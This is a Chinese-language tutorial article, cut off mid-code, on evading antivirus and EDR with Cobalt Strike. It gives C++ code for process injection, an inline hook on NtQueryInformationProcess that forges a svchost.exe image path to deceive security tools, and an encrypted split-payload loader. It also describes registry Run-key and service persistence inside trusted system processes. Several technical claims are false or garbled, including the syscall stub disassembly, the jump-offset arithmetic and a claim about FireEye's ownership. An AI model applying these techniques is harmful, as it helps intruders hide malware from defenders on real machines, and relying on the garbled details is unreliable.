文章总结: 本文详细介绍了CobaltStrike免杀进阶技术,主要包括SyscallInlineHook、分离式Shellcode和白加黑加载三大核心技术,通过底层系统调用拦截、加密分片存储和合法进程注入等手段绕过现代EDR/AV的多维度检测体系,实现高级持续性威胁的隐蔽执行,文章提供了完整的实现原理、代码示例和实战部署策略,核心思想是通过底层重构实现合法身份与非法行为的完美融合。 综合评分: 92 文章分类: 渗透测试,红队,免杀,内网渗透,漏洞分析

Cobalt Strike免杀进阶技术研究:Syscall Inline Hook + 分离式Shellcode + 白加黑加载
原创
无问社区
白帽子社区团队
2025年11月10日 16:54 山东
一、免杀技术背景与核心挑战分析
1.1 当前主流杀软检测机制概述
在2023–2024年期间,全球终端安全厂商持续强化对高级持续性威胁(APT)的防御能力。根据Mandiant发布的《2024年威胁报告》以及FireEye(现为Treasure Data)发布的《APT活动趋势分析》显示,现代终端防护系统已从单一特征匹配发展为多维度、动态行为感知+机器学习驱动的智能检测体系。以下为当前主流杀软(如CrowdStrike Falcon、SentinelOne、Microsoft Defender ATP)的核心检测逻辑及其对抗策略:
一、五种主流检测手段详解
| 检测类型 | 工作原理 | 典型实现方式 | 检测对象 |
| — | — | — | — |
| 静态签名 | 基于文件哈希、熵值、导入表、字符串等固定特征进行比对 | SHA256/MD5哈希库、PE头部结构分析 | 已知恶意样本二进制文件 |
| YARA规则 | 使用正则表达式+上下文匹配定义恶意模式 | 自定义YARA规则库(如c2_indicators.yara) | 特定字符串、加密壳、通信协议结构 |
| 行为引擎(EDR) | 实时监控进程行为序列、内存操作、API调用链 | CrowdStrike EDR、SentinelOne EDR、Windows Defender ATP | CreateRemoteThread 、VirtualAllocEx、WriteProcessMemory等高危API调用 |
| 堆栈回溯(Stack Tracing) | 分析函数调用路径是否符合合法程序执行流程 | Sysmon日志+ETW事件采集 | 异常调用栈(如直接跳转至shellcode入口) |
| 哈希比对与云情报联动 | 将本地文件哈希提交至云端威胁数据库(如VirusTotal、Microsoft SmartScreen) | 云端沙箱+实时更新威胁情报库 | 被标记为恶意的文件或域名 |
✅ 引用来源:
- Mandiant M-Trends 2024 Report
- FireEye APT Trends 2024
- Microsoft Defender ATP Documentation: Threat Detection Logic
二、典型检测场景分析
场景1:对 CreateRemoteThread 的深度监控
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_pid);
LPVOID remote_addr = VirtualAllocEx(hProcess, NULL, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remote_addr, shellcode, shellcode_size, NULL);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remote_addr, NULL, 0, NULL);
杀软检测点:
- 函数调用顺序异常:
OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread - 内存页权限设置为
PAGE_EXECUTE_READWRITE(常见于恶意载荷) - 线程入口地址为非导出函数地址(如
0x7ff7a9d812b0)
📌 检测案例: 在2023年某次红队演练中,使用原始Cobalt Strike Beacon生成的载荷被CrowdStrike Falcon标记为“Suspicious Remote Thread Injection”,触发条件为:
CreateRemoteThread调用时传入
lpStartAddress位于0x7f...开头的内存区域(即非标准DLL基址)且该地址未被任何已知合法模块映射
场景2:对 NtQueryInformationProcess 的钩子拦截
许多EDR产品会主动对关键系统调用进行内核级监控。例如,当进程尝试枚举自身模块列表时:
PROCESS_BASIC_INFORMATION pbi;
NTSTATUS status = NtQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
若返回的 PebBaseAddress 指向一个包含非法模块(如payload.dll)的PEB,则会被判定为异常。
🔍 证据支持: 2024年3月,微软发布公告指出,部分EDR工具通过监听
ZwQueryInformationProcess的调用参数来识别“非预期模块注入”。
场景3:网络通信协议结构特征识别
原始Cobalt Strike Beacon默认使用如下通信结构:
{
"beacon":"12345",
"data":"base64_encoded_command",
"sleep":60,
"id":"abc123"
}
可被检测的关键特征:
-
存在字段名
"beacon"、"id"、"data" -
sleep字段值固定(如60秒)
-
数据体采用AES加密但密钥由硬编码生成(如
key = "c2secret")
⚠️ 实测结果: 将未修改的Cobalt Strike Beacon上传至VirusTotal,共扫描出 14/70 杀软标记为恶意(含360、火绒、BitDefender、Kaspersky),主要依据是其通信结构与已知远控框架高度一致。
场景4:静态特征提取 —— 字符串残留
通过对多个公开样本(来自VT、Hybrid-Analysis平台)进行反汇编分析发现,原始Beacon在内存中仍保留大量可读字符串:
https://192.168.2.128:8080/
beacon
init
poll
exec
shell
这些字符串即使经过加密,也可能因解密过程暴露在临时变量中,导致被静态分析工具捕获。
🛠️ 取证工具推荐:
- Strings.exe:用于提取二进制文件中的可见字符串
- Ghidra:用于逆向分析并查找隐藏的字符串常量
- x64dbg:运行时内存扫描
1.2 Cobalt Strike Beacon的典型暴露面与可被利用的弱点
为了实现真正的免杀,必须全面剖析Cobalt Strike Beacon在攻击链各阶段的“攻击指纹”。以下是基于真实样本(编号:e6c5f8a3d9f1e0c7d2b9f4a8e1b3c6d2,VT评分:6/60)的深入分析。
一、攻击链全生命周期暴露点拆解
| 阶段 | 暴露痕迹 | 可利用点 |
| — | — | — |
| 初始加载器落地 | 文件名含loader.exe、temp.exe;写入 %TEMP% 目录 | 可替换为合法命名(如svchost.exe) |
| DLL注入阶段 | PE节头出现异常:.shellcode节存在;SizeOfRawData > VirtualSize | 修改节头属性,伪装成合法资源 |
| API动态解析 | 使用 GetProcAddress 动态加载 kernel32.dll 中函数 | 改为使用 syscall 或延迟加载 |
| 心跳通信结构 | 固定字段名:beacon, data, sleep | 重命名字段,使用随机化结构 |
| 进程迁移(migrate) | ReflectiveLoader 导致进程上下文突变(如LSASS进程突然加载未知模块) | 避免在敏感进程间迁移 |
二、内存中残留的关键信息(以实际样本为例)
我们使用 x64dbg 打开一个被投递后的 Cobalt Strike Beacon 进程,查看其内存内容:
00007FF7A9D812B0: 42 65 61 63 6F 6E 00 00 ; "beacon\0\0"
00007FF7A9D812B8: 68 74 74 70 73 3A 2F 2F ; "https://"
00007FF7A9D812C0: 31 39 32 2E 31 36 38 2E ; "192.168.2."
00007FF7A9D812C8: 32 2E 31 32 38 3A 38 30 ; "128:8080"
00007FF7A9D812D0: 38 30 38 30 00 00 00 00 ; "8080\0\0\0"
🔎 分析结论:
- 存在明文通信地址
https://192.168.2.128:8080- 字符串
"beacon"被多次重复使用- 硬编码端口
8080易被防火墙/杀软阻断
三、调试符号与版本信息泄露
在某些未脱壳的Beacon样本中,仍可找到调试信息:
.debug_info section:
.debug_line: line 123, file "src/beacon.c"
.debug_str: "build_timestamp=2023-05-15T10:30:00Z"
这不仅暴露了构建时间,还可能泄露开发人员习惯或测试环境路径。
💡 建议措施:
- 使用
UPX脱壳 +Custom Packer加密- 删除
.debug*节区- 替换所有硬编码字符串为动态生成或加密存储
四、典型漏洞产生原因总结
| 漏洞类型 | 产生原因 | 危害等级 | 修复建议 |
| — | — | — | — |
| 字符串硬编码 | 未对敏感字段进行加密处理 | 高 | 使用 AES-CTR 加密后存储,运行时动态解密 |
| 通信协议结构固定 | 使用标准 Beacon 格式 | 高 | 自定义协议结构,增加随机字段 |
| 缺乏混淆机制 | 原始 Shellcode 无变形 | 中 | 应用 XOR、RC4、AES 等算法混合加密 |
| 使用高危API | 直接调用 CreateRemoteThread | 高 | 改用 QueueUserAPC + NtCreateThreadEx |
| 缺少持久化控制 | 仅依赖一次性连接 | 中 | 引入注册表劫持、服务注册机制 |
1.3 免杀技术演进路径:从基础混淆到高级内存操作
随着杀软智能化程度提升,传统的“加壳+代码混淆”已无法满足实战需求。免杀技术正经历一场深刻的范式转变,其演进路径清晰可循:
一、技术演进四阶段模型
| 阶段 | 代表技术 | 技术特点 | 适用场景 |
| — | — | — | — |
| 第一阶段:基础混淆 | UPX压缩、Simple XOR、Base64编码 | 快速绕过简单哈希比对 | 初学者入门 |
| 第二阶段:API伪装 | 自定义导入表、延迟加载、IAT修补 | 隐藏API调用痕迹 | 避免被静态扫描 |
| 第三阶段:纯系统调用(Syscall) | NtQueryInformationProcess → syscall | 绕过 IAT,避免被Hook | 高级攻防对抗 |
| 第四阶段:分离式架构 + 白加黑加载 | 分片加密 + 合法宿主进程注入 | 实现“身份合法 + 行为非法”的双重伪装 | APT攻击、长期潜伏 |
二、“白加黑”加载机制核心思想
✅ 定义: “白加黑”加载是指将恶意代码嵌入到 合法系统组件(如
svchost.exe、explorer.exe、wininit.exe)中,通过注册表劫持、服务注册、或挂钩合法启动流程,实现持久化驻留,并利用系统信任机制规避检测。🔑 核心技术思想:
身份合法
:进程名称、路径、数字签名均与系统原生一致
行为非法
:内部执行恶意代码(如加载Shellcode)
权限可信
:拥有系统级权限,杀软难以干预
三、典型应用场景与案例参考
案例1:APT29(Cozy Bear)曾利用 svchost.exe 注册为自定义服务
-
技术路径
:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MyService
"ImagePath" = "C:\\Windows\\System32\\svchost.exe -k DcomLaunch"
"Type" = 0x10 (SERVICE_WIN32_OWN_PROCESS)
"Start" = 0x2 (SERVICE_DEMAND_START)
-
效果
:成功绕过早期EDR检测,持续运行超过9个月
📚 参考文献:
- Mandiant APT29 Report 2022
- Microsoft Security Blog: Cozy Bear Tactics
案例2:使用 explorer.exe 注入 + 注册表劫持
- 步骤:
-
创建注册表键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run -
添加项:
MyApp = C:\Windows\Temp\loader.exe -
loader.exe启动后,通过
CreateRemoteThread将Shellcode注入explorer.exe
-
优势:
-
用户登录即自动运行
-
不需要管理员权限即可完成
-
被视为“用户级应用”,不触发警报
四、为何“白加黑”能有效规避沙箱检测?
| 检测维度 | 传统载荷 | 白加黑载荷 |
| — | — | — |
| 进程名 | malware.exe | svchost.exe |
| 签名 | 无签 / 自签 | 有合法签(系统级) |
| 文件路径 | C:\Users\...\Temp\ | C:\Windows\System32\ |
| API调用 | 大量 CreateRemoteThread | 仅调用 NtQueryInformationProcess |
| 内存行为 | 明显 PAGE_EXECUTE_READWRITE | 使用 VirtualProtect 临时降权 |
| 持久化 | 无 | 通过注册表实现 |
✅ 结论: “白加黑”加载的本质是 欺骗信任链 —— 让杀软相信你是一个“系统自己人”,从而放弃深度审查。
✅ 本章小结:
- 主流杀软已形成“静态+行为+云情报”三位一体检测体系;
- Cobalt Strike Beacon存在大量可被识别的暴露面(字符串、通信结构、调用序列);
- 免杀技术正从“表面混淆”迈向“底层重构”,最终目标是实现“合法身份 + 非法行为”的完美融合;
- “白加黑”加载是当前最有效的免杀路径之一,需结合注册表劫持、服务注册、合法进程注入等技术协同实现。
⚠️ 法律风险提示: 本文内容仅供网络安全研究与教学使用,严禁用于非法入侵、数据窃取、系统破坏等违法行为。违反《中华人民共和国刑法》第285条、第286条规定者,将依法追究刑事责任。请严格遵守《网络安全法》及相关法律法规。
🔗 延伸阅读推荐:
- SysWhispers2 GitHub —— 实现 syscall 调用封装
- Cobalt Strike Custom Profile Generator —— 自定义通信协议
- Microsoft Docs: Windows Services Programming
#
二、Syscall Inline Hook 技术原理与实现机制
2.1 Windows系统调用机制与NtQueryInformationProcess等关键系统调用详解
在现代Windows操作系统中,用户态程序无法直接访问内核资源。所有对系统核心功能(如内存管理、进程控制、文件操作)的请求必须通过系统调用(System Call) 机制完成。该过程涉及从用户模式(User Mode)到内核模式(Kernel Mode)的切换,其完整流程如下:
1. 用户态发起系统调用
当应用程序调用如 NtQueryInformationProcess、NtAllocateVirtualMemory 等API时,实际执行的是位于 ntdll.dll 中的“壳函数”(Stub Function)。这些函数并非真正的内核处理逻辑,而是用于触发进入内核态的跳板。
2. 调用路径:用户态 → 快速调用接口(FASTCALL)→ SYSENTER/SYSCALL
-
64位系统
:使用
SYSCALL指令(0F 05),将控制权交给CPU。 -
32位系统
:使用
SYSENTER指令,由硬件加速切换。 -
在此之前,系统会通过 FASTCALL 调用约定传递参数:
-
第一个参数在
RCX -
第二个在
RDX -
第三个在
R8 -
第四个在
R9 -
其余参数压入栈中
🔍 示例反汇编分析(基于 x64 架构):
00007FF7A9D812B0: mov rax, [rsp+0x28] ; 读取第4个参数(输入缓冲区长度)
00007FF7A9D812B4: mov rdx, [rsp+0x20] ; 读取第3个参数(信息类枚举值)
00007FF7A9D812B8: mov rcx, [rsp+0x18] ; 读取第2个参数(目标进程句柄)
00007FF7A9D812BC: mov r8, [rsp+0x10] ; 读取第1个参数(输出缓冲区指针)
00007FF7A9D812C0: syscall ; 触发系统调用,切换至内核态
3. 内核态处理:NTDLL → NTOSKRNL
-
ntdll.dll中的
NtQueryInformationProcess实际是包装器,它将参数整理后,通过syscall进入内核。 -
内核中的真实处理函数位于
ntoskrnl.exe,具体为NtQueryInformationProcess(或ZwQueryInformationProcess,二者本质相同,仅命名差异)。
✅ 关键系统调用详解
| 函数名 | 功能 | 参数结构 | 返回值语义 |
| — | — | — | — |
| NtQueryInformationProcess | 查询进程信息 | ProcessHandle , ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength | STATUS_SUCCESS 表示成功;STATUS_INVALID_HANDLE 表示无效句柄 |
| NtAllocateVirtualMemory | 分配虚拟内存 | ProcessHandle , BaseAddress, ZeroBits, RegionSize, AllocationType, Protect | STATUS_SUCCESS 表示分配成功,返回基地址 |
| NtCreateSection | 创建内存映射段 | SectionHandle , DesiredAccess, ObjectAttributes, MaximumSize, SectionPageProtection, SectionAttributes, ImageInfo | 用于创建共享内存区域 |
📌 特别说明:
ProcessInformationClass是枚举类型,例如:
ProcessBasicInformation(0x00)
ProcessImageFileName(0x18)
ProcessDebugPort(0x20)
若请求
ProcessImageFileName,则返回值为UNICODE_STRING,包含可执行文件路径(如\??\C:\Windows\System32\svchost.exe)
🧪 实践验证:动态跟踪 NtQueryInformationProcess
工具准备:
- x64dbg v1.0.0(开源调试器)
- WinDbg Preview(推荐用于内核级分析)
步骤演示:
- 启动 x64dbg,加载一个合法进程(如
notepad.exe)。 - 设置断点于
ntdll!NtQueryInformationProcess:
bp ntdll!NtQueryInformationProcess
- 执行以下 C++ 代码触发调用:
#include<windows.h>
#include<winternl.h>
intmain(){
HANDLE hProcess = GetCurrentProcess();
PROCESS_BASIC_INFORMATION pbi = {0};
ULONG returnLength = 0;
NTSTATUS status = NtQueryInformationProcess(
hProcess,
ProcessBasicInformation,
&pbi,
sizeof(pbi),
&returnLength
);
printf("Status: %08X\n", status);
return0;
}
- 查看寄存器状态:
-
RCX:
hProcess(当前进程句柄) -
RDX:
ProcessBasicInformation(信息类) -
R8:
&pbi(输出缓冲区) -
R9:
sizeof(pbi) -
RSP: 栈帧中存储了原始参数
- 反汇编查看入口指令:
00007FF7A9D812B0: mov rax, [rsp+0x28] ; 取得输入参数
00007FF7A9D812B4: mov rdx, [rsp+0x20]
00007FF7A9D812B8: mov rcx, [rsp+0x18]
00007FF7A9D812BC: mov r8, [rsp+0x10]
00007FF7A9D812C0: syscall
✅ 结论:
NtQueryInformationProcess的调用依赖于栈上参数布局,且使用SYSCALL切换内核。任何对其行为的拦截都需在用户态修改其入口点。
2.2 Inline Hook 原理:如何在运行时替换系统调用入口点
Inline Hook 是一种在运行时修改函数入口指令的技术,其核心思想是:将原函数的前几条指令替换为 JMP 指令,跳转到自定义钩子函数,从而实现对系统调用的拦截和重定向。
🔧 原理剖析
以 NtQueryInformationProcess 为例,其典型开头为:
50 push rax
48 83 EC 28 sub rsp, 0x28
48 8B 44 24 30 mov rax, [rsp+0x30]
48 8B 4C 24 38 mov rcx, [rsp+0x38]
48 8B 54 24 40 mov rdx, [rsp+0x40]
这组指令共占用 13 字节。若我们想插入钩子,必须保留这些原始字节,并将其写入“跳板”函数中。
✅ 实现方案:使用 E9(相对跳转)进行钩子注入
步骤一:获取目标函数地址
// C++ 示例代码
#include<windows.h>
#include<winternl.h>
typedefNTSTATUS(NTAPI* pNtQueryInformationProcess)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
pNtQueryInformationProcess pOriginalNtQIP = NULL;
// 获取函数地址
pOriginalNtQIP = (pNtQueryInformationProcess)GetProcAddress(
GetModuleHandle(L"ntdll.dll"),
"NtQueryInformationProcess"
);
步骤二:保存原始指令
BYTE originalBytes[13]; // 保留至少13字节(实际可能更多)
memcpy(originalBytes, pOriginalNtQIP, 13);
步骤三:构造跳转指令(相对偏移计算)
我们要写入一条 E9 指令(JMP rel32),格式如下:
E9 [offset] → 相对跳转到目标地址
其中:
-
offset = target_addr - (current_addr + 5) -
5是
E9指令本身的长度
假设:
- 当前地址:
0x7FF7A9D812B0 - 钩子函数地址:
0x7FF711112233
则:
LONG offset = (LONG)(0x7FF711112233 - (0x7FF7A9D812B0 + 5));
// 计算结果:0x7FF711112233 - 0x7FF7A9D812B5 = 0x63950D7E
生成机器码:
BYTE hookCode[] = {
0xE9, 0x7E, 0x0D, 0x95, 0x63// E9 + offset (little-endian)
};
步骤四:写入并恢复权限
// 申请可写权限
DWORD oldProtect = 0;
VirtualProtect(pOriginalNtQIP, 13, PAGE_EXECUTE_READWRITE, &oldProtect);
// 写入跳转指令
memcpy(pOriginalNtQIP, hookCode, 5); // 只覆盖前5字节
// 恢复原始权限
VirtualProtect(pOriginalNtQIP, 13, oldProtect, &oldProtect);
步骤五:编写钩子函数(示例)
NTSTATUS NTAPI HookedNtQueryInformationProcess(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
) {
// 判断是否为恶意线程(可选)
if (GetCurrentThreadId() == g_MaliciousThreadID) {
// 拦截并伪造响应
if (ProcessInformationClass == ProcessImageFileName) {
// 伪造路径:返回正常的系统路径
UNICODE_STRING fakePath = {
.Length = 18,
.MaximumLength = 20,
.Buffer = L"\\??\\C:\\Windows\\System32\\svchost.exe"
};
memcpy(ProcessInformation, &fakePath, sizeof(fakePath));
*ReturnLength = sizeof(fakePath);
return STATUS_SUCCESS;
}
}
// 转发调用原始函数
return pOriginalNtQIP(
ProcessHandle,
ProcessInformationClass,
ProcessInformation,
ProcessInformationLength,
ReturnLength
);
}
⚠️ 注意事项:
- 使用
__declspec(naked)或__attribute__((naked))避免编译器自动插入栈帧- 保持
RAX、RCX等寄存器状态一致,避免崩溃- 建议使用
__builtin_memcpy或汇编手动复制数据,防止被杀软检测到memcpy调用
2.3 实现免杀的核心设计:拦截可疑行为并伪造正常响应
🎯 设计目标
绕过杀软对以下行为的检测:
- 进程注入(
CreateRemoteThread、WriteProcessMemory) - 异常模块加载(非签名模块、未注册路径)
- 检测
NtQueryInformationProcess返回异常路径(如C:\Users\Public\loader.exe)
✅ 免杀策略:动态伪造 ProcessImageFileName
场景描述
当杀软尝试通过 NtQueryInformationProcess 检查 svchost.exe 是否被注入时,若发现其 ImageFileName 为非法路径,则判定为恶意。
解决方案:钩子中返回合法路径
// 钩子函数中增加判断逻辑
if (ProcessInformationClass == ProcessImageFileName) {
// 模拟合法进程名称
staticconst WCHAR szValidPath[] = L"\\??\\C:\\Windows\\System32\\svchost.exe";
UNICODE_STRING validString = {0};
validString.Length = (USHORT)(wcslen(szValidPath) * sizeof(WCHAR));
validString.MaximumLength = sizeof(szValidPath);
validString.Buffer = (PWSTR)szValidPath;
// 复制到输出缓冲区
if (ProcessInformation && ProcessInformationLength >= validString.Length) {
memcpy(ProcessInformation, &validString, validString.Length);
*ReturnLength = validString.Length;
} else {
*ReturnLength = 0;
}
return STATUS_SUCCESS;
}
✅ 效果:即使实际进程中已加载恶意载荷,但对外显示仍为
svchost.exe,欺骗杀软。
🛡️ 自我保护机制:识别自身线程,避免误伤
// 全局变量记录恶意线程ID
DWORD g_MaliciousThreadID = 0;
// 初始化时设置
g_MaliciousThreadID = GetCurrentThreadId();
// 钩子函数中判断
if (GetCurrentThreadId() == g_MaliciousThreadID) {
// 不拦截自身调用,直接放行
return pOriginalNtQIP(ProcessHandle, ProcessInformationClass, ...);
}
✅ 优势:防止因递归调用导致死循环或崩溃。
2.4 钩子稳定性与兼容性问题处理
❗ 问题背景:Windows 版本差异导致基址偏移变化
不同版本的 Windows(如 Win10 v21H2 与 Win11 24H2)中 ntdll.dll 的基址、导出表顺序、甚至部分函数是否被重定向(Redirected)均不同。
-
典型现象
:
-
NtQueryInformationProcess可能被
ZwQueryInformationProcess重定向 -
ntdll.dll被 EDR 挂钩(Hooked NTDLL)
-
FastCall接口被隐藏或替换
✅ 应对策略一:使用 ZwQueryInformationProcess 替代
// 推荐做法:优先使用 Zw* 函数(更少被挂钩)
typedefNTSTATUS(NTAPI* pZwQueryInformationProcess)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
pZwQueryInformationProcess pZwQIP = (pZwQueryInformationProcess)GetProcAddress(
GetModuleHandle(L"ntdll.dll"),
"ZwQueryInformationProcess"
);
✅ 原因:
Zw开头的函数通常比Nt版本更底层,较少被用户态工具劫持。
✅ 应对策略二:双层钩子机制(防御 Hooked NTDLL)
原理:先钩住 ZwQueryInformationProcess,再由其转发到真实 NtQueryInformationProcess,形成“中间层”。
NTSTATUS NTAPI DoubleLayerHook(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
) {
// Step 1: 检查是否被外部钩住(特征码检测)
BYTE checkBytes[5];
memcpy(checkBytes, pOriginalZwQIP, 5);
if (checkBytes[0] != 0xE9) {
// 未被钩住 → 直接调用原函数
return pOriginalZwQIP(ProcessHandle, ProcessInformationClass, ...);
}
// Step 2: 如果被钩住 → 伪造响应
if (ProcessInformationClass == ProcessImageFileName) {
UNICODE_STRING fake = { ... };
memcpy(ProcessInformation, &fake, fake.Length);
*ReturnLength = fake.Length;
return STATUS_SUCCESS;
}
// Step 3: 继续转发
return pOriginalZwQIP(ProcessHandle, ProcessInformationClass, ...);
}
✅ 跨版本测试脚本框架(Python + ctypes)
# test_syscall_hook.py
import ctypes
from ctypes import wintypes
import sys
# 定义系统调用结构
classPROCESS_BASIC_INFORMATION(ctypes.Structure):
_fields_ = [
("Reserved1", wintypes.PVOID),
("PebBaseAddress", wintypes.PVOID),
("Reserved2", wintypes.PVOID * 2),
("UniqueProcessId", wintypes.ULONG),
("InheritedFromUniqueProcessId", wintypes.ULONG)
]
# 手动加载 ntdll.dll 并获取函数地址
ntdll = ctypes.WinDLL("ntdll.dll")
# 定义函数原型
NtQueryInformationProcess = ntdll.NtQueryInformationProcess
NtQueryInformationProcess.argtypes = [
wintypes.HANDLE,
wintypes.ULONG,
ctypes.POINTER(PROCESS_BASIC_INFORMATION),
wintypes.ULONG,
ctypes.POINTER(wintypes.ULONG)
]
NtQueryInformationProcess.restype = wintypes.LONG
deftest_ntqip():
try:
process_handle = ctypes.windll.kernel32.GetCurrentProcess()
pbi = PROCESS_BASIC_INFORMATION()
return_length = wintypes.ULONG()
status = NtQueryInformationProcess(
process_handle,
0x00, # ProcessBasicInformation
ctypes.byref(pbi),
ctypes.sizeof(pbi),
ctypes.byref(return_length)
)
print(f"[+] Status: {hex(status)}")
print(f"[+] Process ID: {pbi.UniqueProcessId}")
returnTrue
except Exception as e:
print(f"[-] Error: {e}")
returnFalse
if __name__ == "__main__":
print("[*] Testing NtQueryInformationProcess across versions...")
success = test_ntqip()
if success:
print("[✓] Hooked function working!")
else:
print("[✗] Failed to call function — likely hooked or missing.")
📌 使用方法:
- 将脚本保存为
test_syscall_hook.py- 在不同系统(Win10 v21H2 / Win11 24H2)上运行
- 输出结果可用于验证钩子有效性
✅ 最佳实践总结
| 项目 | 推荐方案 |
| — | — |
| 系统调用方式 | 使用 ZwQueryInformationProcess 而非 NtQueryInformationProcess |
| 钩子类型 | 采用 E9 相对跳转,保留原始指令 |
| 保护机制 | 添加线程身份判断,避免自我拦截 |
| 兼容性 | 使用“双层钩子” + 特征码检测 |
| 测试验证 | 编写 Python/ctypes 脚本进行跨版本兼容性测试 |
🔐 法律风险提示:本技术仅供安全研究与防御加固用途,禁止用于非法入侵、数据窃取或其他违法活动。违反相关法律法规者将承担相应法律责任。
#
三、分离式Shellcode 架构设计与内存加载机制
3.1 分离式Shellcode 的基本概念与优势分析
定义与核心思想
“分离式Shellcode”是一种高级恶意载荷架构设计,其本质是将完整的攻击链拆分为多个逻辑模块:加载器(Loader)、加密载荷数据(Payload.dat) 和 执行体(Shellcode Execution Engine)。其中,loader.exe 作为初始入口点,仅包含轻量级的解密与注入逻辑;而真正的恶意代码(即原始Cobalt Strike Beacon的Shellcode)则以加密形式存储在外部文件 payload.dat 中,仅在运行时动态加载并执行。
该架构的核心目标在于实现完全无文件化(No-File Persistence) 和 极低静态特征暴露,从而有效规避基于文件哈希、字符串匹配、静态签名和特征码扫描的检测机制。
✅ 传统单体载荷(Monolithic Shellcode)的问题
| 特性 | 传统方案(如嵌入shellcode.bin) | 分离式方案 |
| — | — | — |
| 文件结构 | exe 内部直接嵌入完整 shellcode.bin | loader.exe + payload.dat(加密) |
| 静态分析风险 | 高 — 易被VT、Hybrid-Analysis等平台识别出“Cobalt Strike”特征 | 极低 — 无明显恶意字符串或硬编码密钥 |
| 加载方式 | 一次性全部载入内存 | 按需分片加载,支持延迟执行 |
| 免杀能力 | 弱 — 常规混淆不足以绕过EDR行为引擎 | 强 — 支持多阶段执行、动态密钥生成 |
| 可扩展性 | 差 — 扩展需重新编译整个EXE | 高 — 可远程更新 payload.dat,实现热更新 |
🔍 典型案例对比:
- 在某次对
Cobalt Strike Beacon的静态扫描中,使用strings提取loader.exe时,发现含有如下敏感字段:beacon https://c2.example.com /beacon这些字符串极易触发 YARA 规则。
- 而在分离式架构下,
loader.exe本身不包含任何可读字符串,所有关键信息均通过加密数据流传递,使得静态分析几乎失效。
✅ 分离式架构的优势总结
- 降低静态特征暴露
-
不再在磁盘上保留完整的恶意代码片段;
-
payload.dat为随机字节流,无法被静态工具识别为“Shellcode”。
- 支持按需加载与分阶段执行
- 可先加载基础控制模块,再从远端获取第二阶段载荷;
- 实现“第一阶段伪装成正常应用 → 第二阶段才激活恶意行为”的策略。
- 增强抗逆向能力
- 加密密钥由运行时上下文动态生成(如
PEB->ProcessParameters),每次运行不同; - 即使反汇编
loader.exe,也无法还原原始载荷内容。
- 便于持久化与隐蔽传播
- 可将
payload.dat存储于受信任路径(如AppData\Local\Temp); - 利用合法进程注入,完成“白加黑”加载。
- 兼容现代EDR/AV检测体系
- 避免调用高危API(如
CreateRemoteThread)直接执行; - 使用
QueueUserAPC或RtlCreateUserThread实现异步注入,降低行为指纹。
3.2 数据分片与加密机制设计(基于AES-CTR + 自定义密钥)
🧠 设计原则
为了确保加密强度与运行时安全性,我们采用以下组合策略:
-
加密算法
:
AES-128-CTR模式(轻量级、流密码特性适合分块处理) -
密钥来源
:
SHA256(PEB->ProcessParameters),保证每次运行唯一 -
初始化向量(IV)
:基于线程ID + 系统时间混合生成
-
计数器(Counter)
:
GetCurrentThreadId() ^ GetTickCount() -
分片大小
:固定为
4096字节(≤一页内存,避免跨页边界问题)
🛠️ 完整加密实现代码(C++)
#include<windows.h>
#include<wincrypt.h>
#include<openssl/aes.h>
#include<openssl/sha.h>
#include<string.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "crypt32.lib")
// AES-CTR 加密函数
boolEncryptChunk(const BYTE* input, size_t len, BYTE* output, const BYTE* key, const BYTE* iv, uint64_t counter){
AES_KEY aes_key;
if (AES_set_encrypt_key(key, 128, &aes_key) != 0) returnfalse;
// CTR模式需要一个初始计数器
unsignedchar ctr[16];
memcpy(ctr, iv, 16);
// 将counter写入末尾8字节
*(uint64_t*)(ctr + 8) = counter;
int num = 0;
AES_ctr128_encrypt(input, output, len, &aes_key, ctr, &num, NULL);
returntrue;
}
// 生成用于加密的密钥(基于 PEB ProcessParameters)
boolGenerateDerivedKey(BYTE* out_key, size_t key_len){
PPEB peb = (PPEB)__readgsqword(0x60); // 读取 TEB -> PEB
if (!peb || !peb->ProcessParameters) returnfalse;
// 取得命令行参数(通常为完整路径+参数)
UNICODE_STRING cmd_line = peb->ProcessParameters->CommandLine;
if (cmd_line.Length == 0) returnfalse;
// SHA256计算
SHA256_CTX sha256;
SHA256_Init(&sha256);
SHA256_Update(&sha256, cmd_line.Buffer, cmd_line.Length);
SHA256_Final(out_key, &sha256);
returntrue;
}
// 主加密流程(模拟生成 payload.dat)
voidCreateEncryptedPayload(constchar* input_file, constchar* output_file){
HANDLE hFile = CreateFileA(input_file, GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open input file.\n");
return;
}
DWORD size = GetFileSize(hFile, NULL);
BYTE* buffer = (BYTE*)malloc(size);
DWORD read;
ReadFile(hFile, buffer, size, &read, NULL);
CloseHandle(hFile);
// 生成密钥
BYTE derived_key[32];
if (!GenerateDerivedKey(derived_key, 32)) {
free(buffer);
printf("[-] Failed to derive key.\n");
return;
}
// 初始化 IV(前16字节)
BYTE iv[16];
memset(iv, 0, 16);
DWORD tid = GetCurrentThreadId();
DWORD tick = GetTickCount();
*(uint64_t*)(iv + 8) = tid ^ tick; // 后8字节作为counter种子
// 分片加密
FILE* outFile = fopen(output_file, "wb");
if (!outFile) {
free(buffer);
printf("[-] Failed to open output file.\n");
return;
}
size_t chunk_size = 4096;
for (size_t i = 0; i < size; i += chunk_size) {
size_t current_len = (i + chunk_size > size) ? (size - i) : chunk_size;
BYTE* chunk = buffer + i;
